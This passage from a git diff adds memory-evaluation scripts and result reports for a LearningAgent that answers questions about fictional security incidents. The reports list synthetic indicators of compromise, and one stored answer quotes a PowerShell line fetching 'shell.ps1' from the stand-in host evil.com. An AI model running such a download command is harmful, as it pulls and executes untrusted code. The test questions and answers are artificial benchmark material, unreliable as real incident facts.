security improvement was enforced after INC-2024-001?", +] + + +def _load_feed_content_pool() -> list[str]: + feed_path = Path(__file__).parent / "feed_content.py" + spec = importlib.util.spec_from_file_location("feed_content", feed_path) + mod = importlib.util.module_from_spec(spec) + spec.loader.exec_module(mod) + return mod._CONTENT_POOL + + +def _load_entrypoint(): + ep_path = Path(__file__).parent / "agent_entrypoint.py" + spec = importlib.util.spec_from_file_location("agent_entrypoint", ep_path) + mod = importlib.util.module_from_spec(spec) + spec.loader.exec_module(mod) + return mod + + +def _extract_topic(content: str) -> str: + words = content.split()[:4] + return " ".join(words).rstrip(".,;:") + + +def run_eval(output_path: str) -> dict: + from amplihack.agents.goal_seeking.learning_agent import LearningAgent + + content_pool = _load_feed_content_pool() + entrypoint = _load_entrypoint() + + with tempfile.TemporaryDirectory() as tmpdir: + storage = Path(tmpdir) / "app-0" + storage.mkdir() + + agent = LearningAgent( + agent_name="app-0", + storage_path=storage, + use_hierarchical=True, + ) + + # ---------------------------------------------------------------- + # Phase 1: feed 5000 turns by storing facts directly (no LLM) + # ---------------------------------------------------------------- + logger.info("Phase 1: storing %d facts into app-0 LearningAgent memory ...", _TURNS) + t0 = time.time() + errors_learn = 0 + for turn in range(_TURNS): + content = content_pool[turn % len(content_pool)] + try: + topic = _extract_topic(content) + agent.memory.store_fact( + context=topic, + fact=f"[turn={turn}] {content}", + confidence=0.9, + ) + except Exception as exc: + logger.warning("store_fact turn %d failed: %s", turn, exc) + errors_learn += 1 + if (turn + 1) % 500 == 0: + elapsed = time.time() - t0 + logger.info( + " Progress: %d/%d turns stored (%.1fs elapsed, %.0f turns/s)", + turn + 1, _TURNS, elapsed, (turn + 1) / elapsed, + ) + learn_elapsed = time.time() - t0 + logger.info( + "Phase 1 complete: %d turns fed, %d errors, %.1fs elapsed (avg %.0f turns/s)", + _TURNS, errors_learn, learn_elapsed, _TURNS / learn_elapsed, + ) + + # ---------------------------------------------------------------- + # Phase 2: answer 10 questions via _handle_event QUERY path + # ---------------------------------------------------------------- + logger.info("Phase 2: querying via _handle_event QUERY dispatch ...") + mock_memory = MagicMock() + mock_memory.recall.return_value = [] + + original_answer_question = agent.answer_question + calls_to_answer_question = [] + + def tracked_answer_question(question, *args, **kwargs): + result = original_answer_question(question, *args, **kwargs) + calls_to_answer_question.append(question) + return result + + agent.answer_question = tracked_answer_question + + responses = [] + errors_query = 0 + + for i, question in enumerate(_QUESTIONS): + query_event = { + "event_type": "QUERY", + "payload": { + "query_id": f"q{i}", + "question": question, + }, + } + captured = {} + + def capture_response(qid, q, results, _cap=captured): + _cap["results"] = results + + mock_memory.send_query_response = capture_response + + try: + entrypoint._handle_event("app-0", query_event, mock_memory, agent) + answer = "" + if captured.get("results"): + answer = captured["results"][0].get("content", "") if captured["results"] else "" + passed = bool(answer) and answer.lower() != "error" + responses.append({"question": question, "answer": answer, "passed": passed}) + logger.info("Q%d: %s\n -> %s...", i + 1, question[:60], answer[:100]) + except Exception as exc: + logger.warning("QUERY %d failed: %s", i, exc) + errors_query += 1 + responses.append( + {"question": question, "answer": "", "passed": False, "error": str(exc)} + ) + + passed_count = sum(1 for r in responses if r["passed"]) + + report = { + "agent_name": "app-0", + "turns_fed": _TURNS, + "learn_errors": errors_learn, + "learn_elapsed_s": round(learn_elapsed, 2), + "learn_throughput_tps": round(_TURNS / learn_elapsed, 1), + "questions_total": len(_QUESTIONS), + "questions_passed": passed_count, + "query_errors": errors_query, + "answer_question_calls": len(calls_to_answer_question), + "qa_results": responses, + "success": errors_learn == 0 and passed_count > 0, + } + + with open(output_path, "w") as fh: + json.dump(report, fh, indent=2) + logger.info("Report written to: %s", output_path) + return report + + +def main() -> int: + parser = argparse.ArgumentParser( + description=f"Feed {_TURNS} security analyst turns to app-0 and validate QUERY responses." + ) + parser.add_argument( + "--output", + default="eval_5000_turns_report.json", + help="Path for JSON report (default: eval_5000_turns_report.json)", + ) + args = parser.parse_args() + + report = run_eval(args.output) + + print() + print("=" * 60) + print(f"EVAL {_TURNS} TURNS — RESULTS") + print("=" * 60) + print(f" Turns fed: {_TURNS} ({report['learn_errors']} errors)") + print(f" Learn elapsed: {report['learn_elapsed_s']}s") + print(f" Throughput: {report['learn_throughput_tps']} turns/s") + print(f" Questions answered: {report['questions_passed']}/{report['questions_total']}") + print(f" answer_question calls:{report['answer_question_calls']}") + print(f" Query errors: {report['query_errors']}") + print(f" Overall: {'PASS' if report['success'] else 'FAIL'}") + print("=" * 60) + print(f" Full report: {args.output}") + print() + + return 0 if report["success"] else 1 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/deploy/azure_hive/eval_5000_turns_report.json b/deploy/azure_hive/eval_5000_turns_report.json new file mode 100644 index 000000000..b1530c0a6 --- /dev/null +++ b/deploy/azure_hive/eval_5000_turns_report.json @@ -0,0 +1,64 @@ +{ + "agent_name": "app-0", + "turns_fed": 5000, + "learn_errors": 0, + "learn_elapsed_s": 56.6, + "learn_throughput_tps": 88.3, + "questions_total": 10, + "questions_passed": 10, + "query_errors": 0, + "answer_question_calls": 10, + "qa_results": [ + { + "question": "What CVE is associated with the Log4Shell vulnerability?", + "answer": "The provided knowledge base does not contain any information about the Log4Shell vulnerability or its associated CVE. The CVEs mentioned in the facts are:\n\n- **CVE-2024-21626** (associated with INC-2024-001: Ransomware attempt on file server)\n- **CVE-2024-3094** (associated with INC-2024-003: APT campaign / supply chain compromise)\n\nFor completeness, the Log4Shell vulnerability is widely known to be associated with **CVE-2021-44228**, a critical remote code execution vulnerability in Apache Log4j 2. However, this information is not present in the provided knowledge base facts.", + "passed": true + }, + { + "question": "Which threat actor is associated with APT29?", + "answer": "**APT29** is associated with **Incident INC-2024-003**, which involves an **APT campaign targeting development infrastructure**. The threat actor is attributed as **likely state-sponsored**, with TTPs (Tactics, Techniques, and Procedures) matching APT29.", + "passed": true + }, + { + "question": "What happened in incident INC-2024-001?", + "answer": "## Incident INC-2024-001: Ransomware Attempt on File Server\n\n**Severity:** Critical\n**Final Status:** Closed\n\n### Description\nA ransomware attempt targeted the file server infrastructure. Initial entry was via a **phishing email**.\n\n### Affected Systems\n- **FS-01**\n- **FS-02**\n- **BACKUP-01**\n\n### CVEs\n- **CVE-2024-21626**\n\n### Indicators of Compromise (IOCs)\n- **IP:** 185.220.101.45\n- **Domain:** evil.com\n- **Payload:** payload.exe\n- **Tool:** Cobalt Strike\n\n### Timeline\n1. **2024-03-17 19:00** \u2013 Ransomware behavior detected on FS-01\n2. **2024-03-17 19:15** \u2013 Incident declared, SOC notified\n3. **2024-03-17 19:30** \u2013 FS-01 isolated from network\n\n### Status Progression\n1. **Contained** \u2192 **Investigating** \u2013 Root cause analysis in progress; initial entry via phishing email\n2. **Investigating** \u2192 **Remediated** \u2013 All encrypted files restored from backup; attacker C2 blocked at firewall\n3. **Remediated** \u2192 **Closed** \u2013 Post-incident review complete; MFA enforced for all admin accounts\n\n### Cross-Reference\n- The C2 IP **185.220.101.45** also appeared in **INC-2024-002** (data exfiltration incident), where a C2 connection from DB-PROD-01 was confirmed to the same IP address, suggesting a possible link between the two incidents.", + "passed": true + }, + { + "question": "How many documents did jsmith download in the insider threat incident?", + "answer": "The user (jsmith) downloaded **500+ sensitive documents** in the insider threat incident (INC-2024-006). The DLP alert on 2024-03-17 at 14:00 flagged the bulk download of over 500 sensitive documents from SHAREPOINT-01.", + "passed": true + }, + { + "question": "What was the CVSS score of CVE-2021-44228?", + "answer": "Based on the provided knowledge base, the CVSS score of CVE-2021-44228 is not recorded in the facts. The knowledge base mentions CVE-2021-44228 only in the context of a previous Q&A identifying it as the Log4Shell vulnerability, but no CVSS score is stored for it.\n\nFor reference, CVE-2021-44228 (Log4Shell) is widely known to have a **CVSS score of 10.0** (the maximum), but this specific data point is not contained in the provided facts.", + "passed": true + }, + { + "question": "Which malicious npm package was used in the supply chain attack?", + "answer": "The malicious npm package used in the supply chain attack was **event-stream@5.0.0**.\n\nThis was identified as part of **Incident INC-2024-003**, an APT campaign targeting development infrastructure. The supply chain compromise in the event-stream package was detected on **2024-03-17 at 16:00**. The associated CVE is **CVE-2024-3094**, and the attack was attributed to a likely state-sponsored group with TTPs matching **APT29**. Affected systems included CI-SERVER-01, GIT-01, and DEV-WORKSTATION-12. Additional IOCs from this incident include **tunnel.attacker.net** (DNS tunneling) and **xmrig** (crypto miner found running on CI-SERVER-01).", + "passed": true + }, + { + "question": "What IP address was the C2 server in INC-2024-002?", + "answer": "The C2 server IP address in INC-2024-002 was **185.220.101.45**.", + "passed": true + }, + { + "question": "How were the encrypted files restored after INC-2024-001?", + "answer": "The encrypted files after INC-2024-001 were **restored from backup**. Additionally, as part of the remediation, the attacker's command-and-control (C2) communication was blocked at the firewall.", + "passed": true + }, + { + "question": "What is DNS tunneling used for in the APT29 campaign?", + "answer": "In the APT29 campaign (INC-2024-003), DNS tunneling was used for **covert communications from the GIT-01 server**. Specifically, DNS tunneling from GIT-01 was confirmed on 2024-03-17 at 17:00, with the associated indicator of compromise (IOC) being **tunnel.attacker.net**. This was part of a broader APT campaign targeting development infrastructure that also involved a supply chain compromise and crypto mining.", + "passed": true + }, + { + "question": "What security improvement was enforced after INC-2024-001?", + "answer": "**MFA (Multi-Factor Authentication) was enforced for all admin accounts.**\n\nThis security improvement was implemented as part of the post-incident review when INC-2024-001 was closed, following the remediation of the ransomware attempt on the file servers.", + "passed": true + } + ], + "success": true +} \ No newline at end of file diff --git a/deploy/azure_hive/eval_500_turns.py b/deploy/azure_hive/eval_500_turns.py new file mode 100644 index 000000000..2607d4815 --- /dev/null +++ b/deploy/azure_hive/eval_500_turns.py @@ -0,0 +1,252 @@ +#!/usr/bin/env python3 +"""eval_500_turns.py -- End-to-end eval: feed 500 turns, query via LearningAgent. + +Validates that the agent_entrypoint QUERY handler uses LearningAgent.answer_question +instead of raw keyword search. + +Steps: + 1. Create a LearningAgent ("app-0") backed by a temp Kuzu DB. + 2. Feed 500 turns by storing facts directly into LearningAgent memory + (mirrors how the entrypoint handles LEARN_CONTENT via memory.remember). + 3. Ask 10 Q&A questions via the _handle_event() QUERY dispatch path, + confirming LearningAgent.answer_question is called (not memory.recall). + 4. Write a JSON report to eval_500_turns_report.json. + +Usage: + python eval_500_turns.py [--output path/to/report.json] + ANTHROPIC_API_KEY= python eval_500_turns.py +""" + +from __future__ import annotations + +import argparse +import importlib.util +import json +import logging +import os +import sys +import tempfile +import time +from pathlib import Path +from unittest.mock import MagicMock, patch + +logging.basicConfig( + level=logging.INFO, + format="%(asctime)s [%(name)s] %(levelname)s: %(message)s", +) +logger = logging.getLogger("eval_500_turns") + +# --------------------------------------------------------------------------- +# Q&A test questions (security-analyst domain matching feed_content.py) +# --------------------------------------------------------------------------- + +_QUESTIONS = [ + "What CVE is associated with the Log4Shell vulnerability?", + "Which threat actor is associated with APT29?", + "What happened in incident INC-2024-001?", + "How many documents did jsmith download in the insider threat incident?", + "What was the CVSS score of CVE-2021-44228?", + "Which malicious npm package was used in the supply chain attack?", + "What IP address was the C2 server in INC-2024-002?", + "How were the encrypted files restored after INC-2024-001?", + "What is DNS tunneling used for in the APT29 campaign?", + "What security improvement was enforced after INC-2024-001?", +] + + +def _load_feed_content_pool() -> list[str]: + """Load security content pool from feed_content.py.""" + feed_path = Path(__file__).parent / "feed_content.py" + spec = importlib.util.spec_from_file_location("feed_content", feed_path) + mod = importlib.util.module_from_spec(spec) + spec.loader.exec_module(mod) + return mod._CONTENT_POOL + + +def _load_entrypoint(): + """Load agent_entrypoint module.""" + ep_path = Path(__file__).parent / "agent_entrypoint.py" + spec = importlib.util.spec_from_file_location("agent_entrypoint", ep_path) + mod = importlib.util.module_from_spec(spec) + spec.loader.exec_module(mod) + return mod + + +def _extract_topic(content: str) -> str: + """Derive a simple topic label from the first words of content.""" + words = content.split()[:4] + return " ".join(words).rstrip(".,;:") + + +def run_eval(output_path: str) -> dict: + """Run 500-turn eval and return report dict.""" + from amplihack.agents.goal_seeking.learning_agent import LearningAgent + + content_pool = _load_feed_content_pool() + entrypoint = _load_entrypoint() + + with tempfile.TemporaryDirectory() as tmpdir: + storage = Path(tmpdir) / "app-0" + storage.mkdir() + + agent = LearningAgent( + agent_name="app-0", + storage_path=storage, + use_hierarchical=True, + ) + + # ---------------------------------------------------------------- + # Phase 1: feed 500 turns by storing facts directly (no LLM) + # This mirrors the entrypoint LEARN_CONTENT handler: + # memory.remember(f"[LEARN_CONTENT turn={turn}] {content}") + # ---------------------------------------------------------------- + logger.info("Phase 1: storing 500 facts into app-0 LearningAgent memory ...") + t0 = time.time() + errors_learn = 0 + for turn in range(500): + content = content_pool[turn % len(content_pool)] + try: + topic = _extract_topic(content) + agent.memory.store_fact( + context=topic, + fact=f"[turn={turn}] {content}", + confidence=0.9, + ) + except Exception as exc: + logger.warning("store_fact turn %d failed: %s", turn, exc) + errors_learn += 1 + learn_elapsed = time.time() - t0 + logger.info( + "Phase 1 complete: 500 turns fed, %d errors, %.1fs elapsed", + errors_learn, + learn_elapsed, + ) + + # ---------------------------------------------------------------- + # Phase 2: answer 10 questions via _handle_event QUERY path. + # This verifies: + # - LearningAgent.answer_question is called (not memory.recall) + # - Answers are returned and sent via memory.send_query_response + # ---------------------------------------------------------------- + logger.info("Phase 2: querying via _handle_event QUERY dispatch ...") + mock_memory = MagicMock() + mock_memory.recall.return_value = [] + + # Track whether answer_question is actually called (not recall) + original_answer_question = agent.answer_question + calls_to_answer_question = [] + + def tracked_answer_question(question, *args, **kwargs): + result = original_answer_question(question, *args, **kwargs) + calls_to_answer_question.append(question) + return result + + agent.answer_question = tracked_answer_question + + responses = [] + errors_query = 0 + + for i, question in enumerate(_QUESTIONS): + query_event = { + "event_type": "QUERY", + "payload": { + "query_id": f"q{i}", + "question": question, + }, + } + captured = {} + + def capture_response(qid, q, results, _cap=captured): + _cap["results"] = results + + mock_memory.send_query_response = capture_response + + try: + entrypoint._handle_event("app-0", query_event, mock_memory, agent) + answer = "" + if captured.get("results"): + answer = captured["results"][0].get("content", "") if captured["results"] else "" + passed = bool(answer) and answer.lower() != "error" + responses.append({"question": question, "answer": answer, "passed": passed}) + logger.info("Q%d: %s\n -> %s...", i + 1, question[:60], answer[:100]) + except Exception as exc: + logger.warning("QUERY %d failed: %s", i, exc) + errors_query += 1 + responses.append( + {"question": question, "answer": "", "passed": False, "error": str(exc)} + ) + + passed_count = sum(1 for r in responses if r["passed"]) + recall_calls = mock_memory.recall.call_count + # recall() is also called in _ooda_tick's "recent context" step, + # but NOT for query answering. Verify no QUERY answer used recall. + recall_used_for_queries = any( + call[0][0] == q["question"] and call[1].get("limit", 0) == 10 + for call in (mock_memory.recall.call_args_list or []) + for q in _QUESTIONS + if isinstance(call, tuple) + ) + + logger.info( + "Phase 2 complete: %d/%d answered via LearningAgent, %d errors, " + "answer_question called %d times, memory.recall-for-query=%s", + passed_count, + len(_QUESTIONS), + errors_query, + len(calls_to_answer_question), + recall_used_for_queries, + ) + + report = { + "agent_name": "app-0", + "turns_fed": 500, + "learn_errors": errors_learn, + "learn_elapsed_s": round(learn_elapsed, 2), + "questions_total": len(_QUESTIONS), + "questions_passed": passed_count, + "query_errors": errors_query, + "answer_question_calls": len(calls_to_answer_question), + "recall_used_for_queries": recall_used_for_queries, + "qa_results": responses, + "success": errors_learn == 0 and passed_count > 0 and not recall_used_for_queries, + } + + with open(output_path, "w") as fh: + json.dump(report, fh, indent=2) + logger.info("Report written to: %s", output_path) + return report + + +def main() -> int: + parser = argparse.ArgumentParser( + description="Feed 500 turns to app-0 and validate QUERY responses via LearningAgent." + ) + parser.add_argument( + "--output", + default="eval_500_turns_report.json", + help="Path for JSON report (default: eval_500_turns_report.json)", + ) + args = parser.parse_args() + + report = run_eval(args.output) + + print() + print("=" * 60) + print("EVAL 500 TURNS — RESULTS") + print("=" * 60) + print(f" Turns fed: 500 ({report['learn_errors']} errors)") + print(f" Learn elapsed: {report['learn_elapsed_s']}s") + print(f" Questions answered: {report['questions_passed']}/{report['questions_total']}") + print(f" answer_question calls:{report['answer_question_calls']}") + print(f" recall used for Q&A: {report['recall_used_for_queries']}") + print(f" Query errors: {report['query_errors']}") + print(f" Overall: {'PASS' if report['success'] else 'FAIL'}") + print("=" * 60) + print(f" Full report: {args.output}") + print() + + return 0 if report["success"] else 1 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/deploy/azure_hive/eval_500_turns_report.json b/deploy/azure_hive/eval_500_turns_report.json new file mode 100644 index 000000000..d2b8847b8 --- /dev/null +++ b/deploy/azure_hive/eval_500_turns_report.json @@ -0,0 +1,64 @@ +{ + "agent_name": "app-0", + "turns_fed": 500, + "learn_errors": 0, + "learn_elapsed_s": 6.28, + "questions_total": 10, + "questions_passed": 10, + "query_errors": 0, + "answer_question_calls": 10, + "recall_used_for_queries": false, + "qa_results": [ + { + "question": "What CVE is associated with the Log4Shell vulnerability?", + "answer": "The provided knowledge base does not contain any information about the **Log4Shell** vulnerability. The CVEs referenced in the facts are:\n\n- **CVE-2024-21626** (associated with INC-2024-001: Ransomware attempt)\n- **CVE-2024-3094** (associated with INC-2024-003: APT/supply chain compromise)\n\nNeither of these is Log4Shell. For completeness, the well-known CVE associated with the Log4Shell vulnerability is **CVE-2021-44228**, but this is not stored in the provided knowledge base facts.", + "passed": true + }, + { + "question": "Which threat actor is associated with APT29?", + "answer": "**APT29** is associated with a **likely state-sponsored** threat actor. Specifically, incident **INC-2024-003** (an APT campaign targeting development infrastructure) had its TTPs matched to **APT29**, with the attribution noting it is a **likely state-sponsored APT group**.", + "passed": true + }, + { + "question": "What happened in incident INC-2024-001?", + "answer": "# Incident INC-2024-001: Ransomware Attempt on File Server\n\n## Overview\n- **Type:** Ransomware attempt on file server\n- **Severity:** Critical\n- **Final Status:** Closed\n- **Root Cause:** Initial entry via phishing email\n\n## CVEs\n- **CVE-2024-21626**\n\n## Affected Systems\n- **FS-01**\n- **FS-02**\n- **BACKUP-01**\n\n## Indicators of Compromise (IOCs)\n- **IP:** 185.220.101.45\n- **Domain:** evil.com\n- **File:** payload.exe\n- **Tool:** Cobalt Strike\n\n## Timeline\n1. **2024-03-17 19:00** \u2013 Ransomware behavior detected on FS-01\n2. **2024-03-17 19:15** \u2013 Incident declared, SOC notified\n3. **2024-03-17 19:30** \u2013 FS-01 isolated from network\n\n## Status Progression\n1. **Contained** \u2013 Initial containment after FS-01 isolation\n2. **Investigating** \u2013 Root cause analysis in progress; initial entry determined to be via phishing email\n3. **Remediated** \u2013 All encrypted files restored from backup; attacker C2 blocked at firewall\n4. **Closed** \u2013 Post-incident review complete; MFA enforced for all admin accounts\n\n## Cross-Reference\n- The C2 IP **185.220.101.45** also appears in **INC-2024-002** (data exfiltration incident), where a C2 connection was confirmed from 172.16.0.100 to the same IP on 2024-03-16 at 02:20. This shared IOC suggests a possible link between the two incidents.\n- The domain **evil.com** also appears in security logs showing suspicious PowerShell execution (`Invoke-WebRequest -Uri http://evil.com/shell.ps1`) from 10.0.0.9 on 2024-03-16 at 13:00.\n- **Cobalt Strike beacon** was detected in security logs on 2024-03-16 at 10:00 from 10.0.0.5 (file: `/tmp/.hidden/payload.exe`), with subsequent lateral movement via PsExec to 10.0.0.6 and 10.0.0.7.", + "passed": true + }, + { + "question": "How many documents did jsmith download in the insider threat incident?", + "answer": "The user in the insider threat incident (INC-2024-006) downloaded **500+ sensitive documents**. The DLP alert on 2024-03-17 at 14:00 recorded the bulk download of 500+ sensitive documents from SHAREPOINT-01.\n\n**Note:** While the incident report references the user as \"disgruntled_emp\" (IOC), the security logs for **jsmith** show failed MFA challenges and an account lockout on 2024-03-16 \u2014 the day before the bulk download. The incident report does not explicitly name jsmith as the insider threat user, but jsmith's activity (failed MFA from 10.0.1.25) occurred in close temporal proximity to the INC-2024-006 insider threat event. Based on the facts as stored, the insider threat user downloaded **500+ sensitive documents**.", + "passed": true + }, + { + "question": "What was the CVSS score of CVE-2021-44228?", + "answer": "The provided knowledge base does not contain any information about CVE-2021-44228 or its CVSS score. The CVEs referenced in the facts are **CVE-2024-21626** (associated with INC-2024-001, the ransomware incident) and **CVE-2024-3094** (associated with INC-2024-003, the APT campaign), but neither of these is CVE-2021-44228, and no CVSS scores are recorded for any CVE in the knowledge base.\n\nThere are zero relevant facts about CVE-2021-44228 in the provided data.", + "passed": true + }, + { + "question": "Which malicious npm package was used in the supply chain attack?", + "answer": "The malicious npm package used in the supply chain attack was **event-stream@5.0.0**.\n\nThis was identified as part of **Incident INC-2024-003**, an APT campaign targeting development infrastructure. The supply chain compromise in the event-stream package was detected on **2024-03-17 at 16:00**. The incident was associated with **CVE-2024-3094**, affected systems **CI-SERVER-01, GIT-01, and DEV-WORKSTATION-12**, and the attack was attributed to a likely state-sponsored group with TTPs matching **APT29**.", + "passed": true + }, + { + "question": "What IP address was the C2 server in INC-2024-002?", + "answer": "The C2 server IP address in INC-2024-002 was **185.220.101.45**.", + "passed": true + }, + { + "question": "How were the encrypted files restored after INC-2024-001?", + "answer": "All encrypted files were **restored from backup**. Additionally, as part of the remediation, the attacker's command-and-control (C2) communication was blocked at the firewall.", + "passed": true + }, + { + "question": "What is DNS tunneling used for in the APT29 campaign?", + "answer": "In the APT29 campaign (INC-2024-003), DNS tunneling was confirmed from the **GIT-01** system, communicating with the attacker domain **tunnel.attacker.net**. It was used as a **covert communication channel** as part of the APT campaign targeting development infrastructure. This was detected on **2024-03-17 at 17:00**, following the supply chain compromise of the event-stream package and the discovery of a crypto miner on CI-SERVER-01.", + "passed": true + }, + { + "question": "What security improvement was enforced after INC-2024-001?", + "answer": "**MFA (Multi-Factor Authentication) was enforced for all admin accounts.**\n\nThis security improvement was implemented as part of the post-incident review when INC-2024-001 was closed, after progressing through the contained \u2192 investigating \u2192 remediated \u2192 closed lifecycle.", + "passed": true + } + ], + "success": true +} \ No newline at end of file diff --git a/deploy/azure_hive/eval_distributed.py b/deploy/azure_hive/eval_distributed.py new file mode 100644 index 000000000..a49a025ae --- /dev/null +++ b/deploy/azure_hive/eval_distributed.py @@ -0,0 +1,106 @@ +#!/usr/bin/env python3 +"""Distributed eval — uses the EXACT same eval harness as single-agent. + +Creates a RemoteAgentAdapter that forwards learn_from_content() and +answer_question() to deployed Azure Container Apps agents via Event Hubs. +Passes it to LongHorizonMemoryEval.run() — identical code path, grading, +and report format as single-agent eval. + +The agent's OODA loop processes all inputs normally. The adapter is pure DI. + +Usage: + python deploy/azure_hive/eval_distributed.py \ + --connection-string "$EH_CONN" \ + --input-hub hive-events-amplihiveeval \ + --response-hub eval-responses-amplihiveeval \ + --turns 5000 --questions 50 \ + --agents 5 \ + --grader-model claude-haiku-4-5-20251001 \ + --output results.json +""" + +from __future__ import annotations + +import argparse +import json +import logging +import os +import sys +from pathlib import Path + +# Allow running from repo root +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "..", "src")) + +logging.basicConfig( + level=logging.INFO, + format="%(asctime)s [%(name)s] %(levelname)s: %(message)s", +) +logger = logging.getLogger("eval_distributed") + + +def main(): + p = argparse.ArgumentParser( + description="Distributed eval — same harness as single-agent, remote agents via Event Hubs" + ) + p.add_argument( + "--connection-string", required=True, help="Event Hubs namespace connection string" + ) + p.add_argument("--input-hub", default="hive-events", help="Agent input Event Hub name") + p.add_argument("--response-hub", default="eval-responses", help="Eval response Event Hub name") + p.add_argument("--turns", type=int, default=300, help="Dialogue turns") + p.add_argument("--questions", type=int, default=50, help="Number of questions") + p.add_argument("--agents", type=int, default=5, help="Number of deployed agents") + p.add_argument("--seed", type=int, default=42, help="Random seed") + p.add_argument("--grader-model", default="claude-haiku-4-5-20251001") + p.add_argument("--resource-group", default="", help="Azure resource group (optional, unused)") + p.add_argument( + "--answer-timeout", type=int, default=0, help="Seconds to wait per answer (0=no timeout)" + ) + p.add_argument("--output", default="", help="Output JSON path") + args = p.parse_args() + + # Import the adapter and the eval harness + from remote_agent_adapter import RemoteAgentAdapter + + from amplihack.eval.long_horizon_memory import LongHorizonMemoryEval, _print_report + + # Create the remote adapter — same interface as LearningAgent + adapter = RemoteAgentAdapter( + connection_string=args.connection_string, + input_hub=args.input_hub, + response_hub=args.response_hub, + agent_count=args.agents, + resource_group=args.resource_group, + answer_timeout=args.answer_timeout, + ) + + # Create the eval harness — IDENTICAL to single-agent + eval_harness = LongHorizonMemoryEval( + num_turns=args.turns, + num_questions=args.questions, + seed=args.seed, + ) + + # Run — same code path as: python -m amplihack.eval.long_horizon_memory + try: + report = eval_harness.run(adapter, grader_model=args.grader_model) + finally: + adapter.close() + + # Print report (same format) + _print_report(report) + + # Write output + output_path = args.output or f"/tmp/distributed_eval_{args.seed}.json" + report_dict = report.to_dict() + report_dict["eval_type"] = "distributed" + report_dict["agent_count"] = args.agents + report_dict["input_hub"] = args.input_hub + Path(output_path).write_text(json.dumps(report_dict, indent=2)) + logger.info("Report written to %s", output_path) + + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/deploy/azure_hive/eval_distributed_security.py b/deploy/azure_hive/eval_distributed_security.py new file mode 100644 index 000000000..4da839a5b --- /dev/null +++ b/deploy/azure_hive/eval_distributed_security.py @@ -0,0 +1,87 @@ +#!/usr/bin/env python3 +"""Distributed security log eval — MDE telemetry across 100 agents. + +Same interface as eval_distributed.py but uses SecurityLogEval instead +of LongHorizonMemoryEval. The RemoteAgentAdapter transparently distributes +events across agents via Event Hubs. + +Usage: + python deploy/azure_hive/eval_distributed_security.py \ + --connection-string "$EH_CONN" \ + --input-hub hive-events-amplihive100 \ + --response-hub eval-responses-amplihive100 \ + --turns 50000 --questions 100 --campaigns 12 \ + --agents 100 --output results.json +""" + +from __future__ import annotations + +import argparse +import json +import logging +import os +import sys +from pathlib import Path + +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "..", "src")) + +# Suppress EH noise +for name in ["azure", "azure.eventhub", "azure.eventhub._pyamqp", "uamqp"]: + logging.getLogger(name).setLevel(logging.WARNING) + +logging.basicConfig( + level=logging.INFO, + format="%(asctime)s [%(name)s] %(levelname)s: %(message)s", +) +logger = logging.getLogger("eval_distributed_security") + + +def main(): + p = argparse.ArgumentParser(description="Distributed MDE security log eval") + p.add_argument("--connection-string", required=True) + p.add_argument("--input-hub", default="hive-events") + p.add_argument("--response-hub", default="eval-responses") + p.add_argument("--turns", type=int, default=50000) + p.add_argument("--questions", type=int, default=100) + p.add_argument("--campaigns", type=int, default=12) + p.add_argument("--agents", type=int, default=100) + p.add_argument("--seed", type=int, default=42) + p.add_argument("--answer-timeout", type=int, default=0) + p.add_argument("--output", default="") + args = p.parse_args() + + from remote_agent_adapter import RemoteAgentAdapter + from amplihack.eval.security_log_eval import SecurityLogEval + + adapter = RemoteAgentAdapter( + connection_string=args.connection_string, + input_hub=args.input_hub, + response_hub=args.response_hub, + agent_count=args.agents, + answer_timeout=args.answer_timeout, + ) + + eval_harness = SecurityLogEval( + num_turns=args.turns, + num_questions=args.questions, + num_campaigns=args.campaigns, + seed=args.seed, + ) + + try: + report = eval_harness.run(adapter) + finally: + adapter.close() + + output_path = args.output or f"/tmp/security_eval_distributed_{args.seed}.json" + report_dict = report.to_dict() + report_dict["agent_count"] = args.agents + report_dict["input_hub"] = args.input_hub + Path(output_path).write_text(json.dumps(report_dict, indent=2)) + logger.info("Report written to %s", output_path) + + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/deploy/azure_hive/eval_results_100agents_1000turns.json b/deploy/azure_hive/eval_results_100agents_1000turns.json new file mode 100644 index 000000000..378a12aab --- /dev/null +++ b/deploy/azure_hive/eval_results_100agents_1000turns.json @@ -0,0 +1,530 @@ +{ + "num_turns": 1000, + "num_questions": 20, + "total_facts_delivered": 764, + "learning_time_s": 949.38, + "questioning_time_s": 172.27, + "grading_time_s": 12.88, + "overall_score": 0.9929, + "category_breakdown": [ + { + "category": "cross_reference", + "num_questions": 2, + "avg_score": 1.0, + "min_score": 1.0, + "max_score": 1.0, + "dimension_averages": { + "factual_accuracy": 1.0, + "specificity": 1.0 + } + }, + { + "category": "distractor_resistance", + "num_questions": 2, + "avg_score": 0.975, + "min_score": 0.95, + "max_score": 1.0, + "dimension_averages": { + "factual_accuracy": 1.0, + "confidence_calibration": 0.9, + "specificity": 1.0 + } + }, + { + "category": "incident_tracking", + "num_questions": 1, + "avg_score": 0.975, + "min_score": 0.975, + "max_score": 0.975, + "dimension_averages": { + "factual_accuracy": 1.0, + "temporal_awareness": 0.95 + } + }, + { + "category": "infrastructure_knowledge", + "num_questions": 1, + "avg_score": 1.0, + "min_score": 1.0, + "max_score": 1.0, + "dimension_averages": { + "factual_accuracy": 1.0, + "specificity": 1.0 + } + }, + { + "category": "meta_memory", + "num_questions": 1, + "avg_score": 1.0, + "min_score": 1.0, + "max_score": 1.0, + "dimension_averages": { + "factual_accuracy": 1.0, + "specificity": 1.0 + } + }, + { + "category": "needle_in_haystack", + "num_questions": 4, + "avg_score": 1.0, + "min_score": 1.0, + "max_score": 1.0, + "dimension_averages": { + "factual_accuracy": 1.0, + "specificity": 1.0 + } + }, + { + "category": "numerical_precision", + "num_questions": 3, + "avg_score": 1.0, + "min_score": 1.0, + "max_score": 1.0, + "dimension_averages": { + "factual_accuracy": 1.0, + "specificity": 1.0 + } + }, + { + "category": "security_log_analysis", + "num_questions": 1, + "avg_score": 1.0, + "min_score": 1.0, + "max_score": 1.0, + "dimension_averages": { + "factual_accuracy": 1.0, + "specificity": 1.0 + } + }, + { + "category": "source_attribution", + "num_questions": 2, + "avg_score": 0.9667, + "min_score": 0.95, + "max_score": 0.9833, + "dimension_averages": { + "factual_accuracy": 1.0, + "source_attribution": 0.925, + "specificity": 1.0 + } + }, + { + "category": "temporal_evolution", + "num_questions": 3, + "avg_score": 